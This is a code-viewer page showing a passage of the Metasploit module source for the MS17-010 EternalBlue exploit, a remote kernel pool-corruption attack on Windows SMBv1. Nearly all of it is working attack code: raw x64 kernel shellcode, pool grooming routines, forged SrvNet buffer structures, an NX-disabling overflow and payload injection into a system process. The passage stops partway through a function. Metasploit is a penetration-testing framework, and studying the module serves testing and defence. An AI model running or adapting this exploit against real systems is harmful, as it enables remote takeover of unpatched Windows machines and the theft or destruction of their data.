Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'ruby_smb'
7
require 'ruby_smb/smb1/packet'
8
require 'rubyntlm'
9
require 'windows_error'
10
11
class MetasploitModule < Msf::Exploit::Remote
12
Rank = AverageRanking
13
14
include Msf::Exploit::Remote::CheckModule
15
include Msf::Exploit::Deprecated
16
include Msf::Exploit::Remote::Tcp
17
18
moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
25
'Description' => %q{
26
This module is a port of the Equation Group ETERNALBLUE exploit, part of
27
the FuzzBunch toolkit released by Shadow Brokers.
28
29
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
30
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
31
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
32
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
33
completed in srvnet!SrvNetWskReceiveComplete.
34
35
This exploit, like the original may not trigger 100% of the time, and should be
36
run continuously until triggered. It seems like the pool will get hot streaks
37
and need a cool down period before the shells rain in again.
38
39
The module will attempt to use Anonymous login, by default, to authenticate to perform the
40
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
41
those instead.
42
43
On some systems, this module may cause system instability and crashes, such as a BSOD or
44
a reboot. This may be more likely with some payloads.
45
},
46
47
'Author' => [
48
# Original Exploit
49
'Equation Group', # OG research and exploit
50
'Shadow Brokers', # Hack and dump
51
'sleepya', # Research and PoC
52
53
# Original win7 module
54
'Sean Dillon <[email protected]>', # @zerosum0x0
55
'Dylan Davis <[email protected]>', # @jennamagius
56
'thelightcosine', # RubySMB refactor and Fallback Credential mode
57
58
# Original win8 module
59
'wvu', # Babby's first external module
60
'agalway-r7', # External python module to internal ruby module (sorry wvu)
61
'cdelafuente-r7', # ruby_smb wizard
62
'cdelafuente-r7', # kernel debugging wizard
63
64
# Combining the two
65
'agalway-r7' # am good at copy pasta
66
],
67
'License' => MSF_LICENSE,
68
'References' => [
69
# Win 7
70
['MSB', 'MS17-010'],
71
['CVE', '2017-0143'],
72
['CVE', '2017-0144'],
73
['CVE', '2017-0145'],
74
['CVE', '2017-0146'],
75
['CVE', '2017-0147'],
76
['CVE', '2017-0148'],
77
['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
78
['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],
79
80
# Win 8
81
['EDB', '42030'],
82
83
# MITRE ATT&CK
84
['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],
85
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
86
['ATT&CK', Mitre::Attack::Technique::T1210_EXPLOITATION_OF_REMOTE_SERVICES]
87
],
88
'DefaultOptions' => {
89
'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
90
'EXITFUNC' => 'thread',
91
'WfsDelay' => 5
92
},
93
'Privileged' => true,
94
'Platform' => 'win',
95
'Arch' => [ARCH_X64],
96
'Payload' => {
97
'Space' => 2000, # this can be more, needs to be recalculated
98
'EncoderType' => Msf::Encoder::Type::Raw,
99
'DisableNops' => true
100
},
101
'Targets' => [
102
[ 'Automatic Target', {} ],
103
[
104
'Windows 7',
105
{
106
'os_patterns' => ['Windows 7']
107
}
108
],
109
[
110
'Windows Embedded Standard 7',
111
{
112
'os_patterns' => ['Windows Embedded Standard 7']
113
}
114
],
115
[
116
'Windows Server 2008 R2',
117
{
118
'os_patterns' => ['Windows Server 2008 R2']
119
}
120
],
121
[
122
'Windows 8',
123
{
124
'os_patterns' => ['Windows 8']
125
}
126
],
127
[
128
'Windows 8.1',
129
{
130
'os_patterns' => ['Windows 8.1']
131
}
132
],
133
[
134
'Windows Server 2012',
135
{
136
'os_patterns' => ['Windows Server 2012']
137
}
138
],
139
[
140
'Windows 10 Pro',
141
{
142
'os_patterns' => ['Windows Pro Build']
143
}
144
],
145
[
146
'Windows 10 Enterprise Evaluation',
147
{
148
'os_patterns' => ['Windows 10 Enterprise Evaluation Build']
149
}
150
]
151
],
152
'DefaultTarget' => 0,
153
'Notes' => {
154
'AKA' => ['ETERNALBLUE'],
155
'Stability' => UNKNOWN_STABILITY,
156
'Reliability' => UNKNOWN_RELIABILITY,
157
'SideEffects' => UNKNOWN_SIDE_EFFECTS
158
},
159
'DisclosureDate' => '2017-03-14'
160
)
161
)
162
163
register_options(
164
[
165
Opt::RHOSTS,
166
Opt::RPORT(445),
167
OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),
168
OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),
169
OptString.new('SMBDomain', [
170
false,
171
'(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \
172
' Windows Embedded Standard 7 target machines.',
173
''
174
]),
175
OptBool.new('VERIFY_TARGET', [
176
true,
177
'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \
178
' Standard 7 target machines.',
179
true
180
]),
181
OptBool.new('VERIFY_ARCH', [
182
true,
183
'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \
184
' Windows Embedded Standard 7 target machines.',
185
true
186
])
187
]
188
)
189
register_advanced_options(
190
[
191
OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
192
OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),
193
OptInt.new('MaxExploitAttempts', [
194
true,
195
'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \
196
' get a successful execution.',
197
3
198
]),
199
OptInt.new('GroomDelta', [
200
true,
201
'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \
202
' Embedded Standard 7 target machines.',
203
5
204
])
205
]
206
)
207
end
208
209
def generate_process_hash(process)
210
[Rex::Text.ror13_hash(process + "\x00")].pack('l<')
211
end
212
213
# ring3 = user mode encoded payload
214
# proc_name = process to inject APC into
215
def make_kernel_user_payload(ring3, proc_name)
216
proc_hash = generate_process_hash(proc_name)
217
218
sc = (
219
"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \
220
"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \
221
"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \
222
"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \
223
"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \
224
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \
225
"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \
226
"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \
227
"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \
228
"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \
229
"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \
230
"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \
231
"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \
232
"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \
233
"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \
234
"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \
235
"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \
236
"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \
237
"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \
238
"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \
239
"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \
240
"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +
241
proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \
242
"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \
243
"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \
244
"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \
245
"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \
246
"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \
247
"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \
248
"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \
249
"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \
250
"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \
251
"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \
252
"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \
253
"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \
254
"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \
255
"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \
256
"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \
257
"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \
258
"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \
259
"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \
260
"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \
261
"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \
262
"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \
263
"\x48\x8d\x35\x6a\x00\x00\x00" \
264
"\xb9#{[ ring3.length ].pack('s')}\x00\x00" \
265
"\xf3\xa4\x48\x8b" \
266
"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \
267
"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \
268
"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \
269
"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \
270
"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \
271
"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \
272
"\xff\xd0\x48\x83\xc4\x30\xc3"
273
)
274
sc << ring3
275
sc
276
end
277
278
def exploit
279
check_code = check
280
281
if check_code.code == 'vulnerable'
282
print_good('The target is vulnerable.')
283
else
284
print_bad('The target is not vulnerable.')
285
end
286
287
if check_code.details[:arch] == ARCH_X86
288
fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')
289
end
290
291
if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'
292
print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'
293
294
os = Recog::Nizer.match('smb.native_os', check_code.details[:os])
295
296
if os.nil?
297
if target.name == 'Automatic Target'
298
targs = ''
299
targets[1..-1].each { |t| targs += "#{t.name}\n" }
300
301
msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\
302
"#{targs}"\
303
"\nThen it can be selected manually with 'set TARGET <OS_NAME>'"
304
fail_with(Failure::NoTarget, msg)
305
else
306
os = target.name
307
end
308
else
309
os = os['os.product']
310
end
311
312
if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')
313
extend(EternalBlueWin8)
314
else
315
extend(EternalBlueWin7)
316
end
317
318
exploit_eb
319
end
320
end
321
end
322
323
module EternalBlueWin8
324
MAX_SHELLCODE_SIZE = 3712
325
326
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
327
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
328
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
329
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
330
331
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
332
NTFEA_SIZE = 0x9000
333
334
NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +
335
Net::NTLM::FLAGS[:KEY128] +
336
Net::NTLM::FLAGS[:TARGET_INFO] +
337
Net::NTLM::FLAGS[:NTLM2_KEY] +
338
Net::NTLM::FLAGS[:NTLM] +
339
Net::NTLM::FLAGS[:REQUEST_TARGET] +
340
Net::NTLM::FLAGS[:UNICODE]
341
342
NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80
343
[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c
344
[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR
345
346
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
347
348
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
349
# x64: fake struct is at ffffffff ffd00e00
350
# offset 0x50: KSPIN_LOCK
351
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
352
# offset 0x110: array of pointer to function
353
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
354
# some useful offset
355
# offset 0x120: arg1 when invoking ptr to function
356
# offset 0x128: arg2 when invoking ptr to function
357
#
358
# code path to get code exception after this struct is controlled
359
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
360
def fake_recv_struct
361
struct = "\x00" * 80
362
struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')
363
struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60
364
struct << ("\x00" * 16) * 10
365
struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array
366
struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150
367
struct << [0, 0, 3].pack('QII<') # offset 0x130
368
struct << ("\x00" * 16) * 3
369
struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address
370
struct
371
end
372
373
def custom_smb_client
374
sock = Rex::Socket::Tcp.create(
375
'PeerHost' => rhost,
376
'PeerPort' => rport,
377
'Proxies' => proxies,
378
'Context' => {
379
'Msf' => framework,
380
'MsfExploit' => self
381
}
382
)
383
384
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
385
386
client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,
387
username: smb_user, domain: smb_domain, password: smb_pass,
388
ntlm_flags: NTLM_FLAGS)
389
390
return client, sock
391
end
392
393
def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)
394
begin
395
client, sock = custom_smb_client
396
397
if negotiate_only
398
client.negotiate
399
return client, nil, sock
400
else
401
response_code = client.login(ntlm_flags: NTLM_FLAGS,
402
session_setup_packet: session_setup_packet,
403
session_setup_auth_packet: session_setup_auth_packet)
404
405
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
406
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
407
end
408
409
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
410
end
411
412
return client, tree, sock
413
rescue StandardError => e
414
print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")
415
elog('Could not make SMBv1 connection', error: e)
416
417
# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous
418
# login.
419
if client
420
client.disconnect!
421
end
422
423
raise e
424
end
425
end
426
427
def send_trans2_second(conn, tid, pid, data, displacement)
428
pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new
429
pkt.smb_header.tid = tid
430
pkt.smb_header.pid_low = pid
431
432
pkt.parameter_block.total_parameter_count = 0
433
pkt.parameter_block.total_data_count = data.length
434
435
fixed_offset = 32 + 3 + 18
436
pkt.data_block.pad1 = ''
437
438
pkt.parameter_block.parameter_count = 0
439
pkt.parameter_block.parameter_offset = 0
440
441
if !data.empty?
442
pad_len = (4 - fixed_offset % 4) % 4
443
444
if pad_len == 0
445
pkt.data_block.pad1 = ''
446
elsif pad_len == 3
447
pkt.data_block.pad1 = "\x00" * 2
448
pkt.data_block.pad1 = "\x00"
449
else
450
pkt.data_block.pad1 = "\x00" * pad_len
451
end
452
else
453
pkt.data_block.pad1 = ''
454
pad_len = 0
455
end
456
457
pkt.parameter_block.data_count = data.length
458
pkt.parameter_block.data_offset = fixed_offset + pad_len
459
pkt.parameter_block.data_displacement = displacement
460
461
pkt.data_block.trans2_parameters = ''
462
pkt.data_block.trans2_data = data
463
464
pkt.smb_header.flags2.extended_security = 1
465
pkt.smb_header.flags2.paging_io = 0
466
pkt.smb_header.flags2.unicode = 0
467
468
pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)
469
470
conn.send_packet(pkt)
471
end
472
473
# connect to target and send a large nbss size with data 0x80 bytes
474
# this method is for allocating big nonpaged pool on target
475
def create_connection_with_big_smb_first_80(for_nx: false)
476
sock = connect(false)
477
pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')
478
# There is no need to be SMB2 because we want the target free the corrupted buffer.
479
# Also this is invalid SMB2 message.
480
# I believe NSA exploit use SMB2 for hiding alert from IDS
481
# pkt += '\xfeSMB' # smb2
482
# it can be anything even it is invalid
483
pkt += "\x01\x02\x03\x04"
484
485
if for_nx
486
# MUST set no delay because 1 byte MUST be sent immediately
487
sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
488
pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX
489
else
490
pkt += "\x00" * 0x7c
491
end
492
493
sock.send(pkt, 0)
494
sock
495
end
496
497
def send_big_trans2(conn, tid, pid, setup, data, param)
498
first_data_fragment_size = data.length % 4096
499
500
pkt = RubySMB::SMB1::Packet::NtTrans::Request.new
501
pkt.smb_header.tid = tid
502
503
pkt.smb_header.pid_low = pid
504
505
command = [setup].pack('S<')
506
507
pkt.parameter_block.max_setup_count = 1
508
pkt.parameter_block.max_parameter_count = param.length
509
pkt.parameter_block.max_data_count = 0
510
511
pkt.parameter_block.setup << 0x0000
512
pkt.parameter_block.total_parameter_count = param.length
513
pkt.parameter_block.total_data_count = data.length
514
515
fixed_offset = 32 + 3 + 38 + command.length
516
if !param.empty?
517
pad_len = (4 - fixed_offset % 4) % 4
518
pad_bytes = "\x00" * pad_len
519
pkt.data_block.pad1 = pad_bytes
520
else
521
pkt.data_block.pad1 = ''
522
pad_len = 0
523
end
524
525
pkt.parameter_block.parameter_count = param.length
526
pkt.parameter_block.parameter_offset = fixed_offset + pad_len
527
528
if !data.empty?
529
pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4
530
pkt.data_block.pad2 = "\x00" * pad_len
531
else
532
pkt.data_block.pad2 = ''
533
pad_len = 0
534
end
535
536
pkt.parameter_block.data_count = first_data_fragment_size
537
pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len
538
539
pkt.data_block.trans2_parameters = param
540
pkt.data_block.trans2_data = data.first(first_data_fragment_size)
541
542
pkt.smb_header.flags2.paging_io = 0
543
pkt.smb_header.flags2.extended_security = 1
544
545
begin
546
recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))
547
rescue RubySMB::Error::CommunicationError => e
548
print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')
549
raise e
550
end
551
552
if recv_pkt.status_code.value == 0
553
print_good('got good NT Trans response')
554
else
555
print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
556
return nil
557
end
558
559
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
560
size_of_data_to_be_sent = first_data_fragment_size
561
while size_of_data_to_be_sent < data.length
562
send_size = [4096, data.length - size_of_data_to_be_sent].min
563
if data.length - size_of_data_to_be_sent <= 4096
564
break
565
end
566
567
send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],
568
size_of_data_to_be_sent)
569
size_of_data_to_be_sent += send_size
570
end
571
572
size_of_data_to_be_sent
573
end
574
575
def _exploit(fea_list, shellcode, num_groom_conn, username, password)
576
session_setup_packet = default_session_setup_request
577
session_setup_auth_packet = default_session_setup_request
578
579
conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
580
session_setup_auth_packet: session_setup_auth_packet)
581
582
pid = conn.pid
583
os = conn.peer_native_os
584
print_status("Target OS: #{os}")
585
586
if os.start_with?('Windows 10')
587
build = os.split.last.to_i
588
if build >= 14393 # version 1607
589
print_status('This exploit does not support this build')
590
return
591
end
592
elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))
593
print_status('This exploit does not support this target:')
594
return
595
end
596
597
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
598
# Send TRANS2_OPEN2 (0) with special fea_list to a target exce
599
progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)
600
if progress.nil?
601
conn.disconnect!
602
return
603
end
604
605
fea_list_nx = generate_fea_list_nx
606
607
session_setup_packet = default_session_setup_request
608
session_setup_packet.parameter_block.vc_number = 1
609
610
session_setup_auth_packet = default_session_setup_request
611
session_setup_auth_packet.parameter_block.max_mpx_count = 2
612
session_setup_auth_packet.parameter_block.vc_number = 1
613
614
nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
615
session_setup_auth_packet: session_setup_auth_packet)
616
617
# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX
618
nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)
619
if nx_progress.nil?
620
conn.disconnect!
621
nx_conn.disconnect!
622
return
623
end
624
625
# create some big buffer at servereternal
626
# this buffer MUST NOT be big enough for overflown buffer
627
alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)
628
if alloc_conn.nil?
629
return
630
end
631
632
# groom nonpaged pool
633
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
634
srvnet_conn = []
635
num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
636
637
# create buffer size NTFEA_SIZE at server
638
# this buffer will be replaced by overflown buffer
639
hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)
640
if hole_conn.nil?
641
return
642
end
643
644
# disconnect allocConn to free buffer
645
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
646
alloc_sock.close
647
648
# hope one of srvnet_conn is next to holeConn
649
5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
650
651
# remove holeConn to create hole for fea buffer
652
hole_sock.close
653
654
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
655
# first trigger, overwrite srvnet buffer struct for disabling NX
656
send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)
657
658
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)
659
if recv_pkt.status_code.value == 0xc000000d
660
print_good('good response status for nx: INVALID_PARAMETER')
661
else
662
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
663
end
664
665
# one of srvnet_conn struct header should be modified
666
# send '\x00' to disable nx
667
srvnet_conn.each { |sk| sk.send("\x00", 0) }
668
669
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
670
# second trigger, place fake struct and shellcode
671
send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)
672
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)
673
if recv_pkt.status_code.value == 0xc000000d
674
print_good('good response status for nx: INVALID_PARAMETER')
675
else
676
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
677
end
678
679
# one of srvnet_conn struct header should be modified
680
# a corrupted buffer will write recv data in designed memory address
681
srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }
682
683
# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180
684
srvnet_conn.each(&:close)
685
686
nx_tree.disconnect!
687
nx_conn.disconnect!
688
689
tree.disconnect!
690
conn.disconnect!
691
end
692
693
def create_fea_list(sc_size)
694
fea_list = [0x10000].pack('I<')
695
fea_list += NTFEA_9000
696
fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)
697
fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name
698
# stop copying by invalid flag (can be any value except 0 and 0x80)
699
fea_list += [0x12, 0x34, 0x5678].pack('CCS<')
700
return fea_list
701
end
702
703
def create_fake_srv_net_buffer(sc_size)
704
# 0x180 is size of fakeSrvNetBufferX64
705
total_recv_size = 0x80 + 0x180 + sc_size
706
fake_srv_net_buffer_x64 = "\x00" * 16
707
fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer
708
fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _
709
fake_srv_net_buffer_x64 += "\x00" * 16
710
fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40
711
fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct
712
fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')
713
fake_srv_net_buffer_x64 += "\x00" * 16
714
fake_srv_net_buffer_x64 += "\x00" * 16
715
fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
716
fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
717
718
return fake_srv_net_buffer_x64
719
end
720
721
def exploit_eb
722
num_groom_conn = datastore['GroomAllocations'].to_i
723
smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''
724
smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''
725
726
sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
727
728
if sc.length > MAX_SHELLCODE_SIZE
729
print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")
730
return
731
end
732
733
fea_list = create_fea_list(sc.length)
734
735
print_status("shellcode size: #{sc.length}")
736
print_status("numGroomConn: #{num_groom_conn}")
737
738
begin
739
_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)
740
rescue StandardError => e
741
print_error("Exploit failed with the following error: #{e.message}")
742
elog('Error encountered with eternalblue_win8', error: e)
743
return false
744
end
745
end
746
747
def create_session_alloc_non_paged(size, username, password, pid)
748
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
749
sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new
750
751
anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)
752
753
sess_pkt.smb_header.pid_low = pid
754
755
if size >= 65535 # 0xffff
756
sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20
757
sess_pkt.smb_header.flags2.unicode = 0
758
else
759
sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20
760
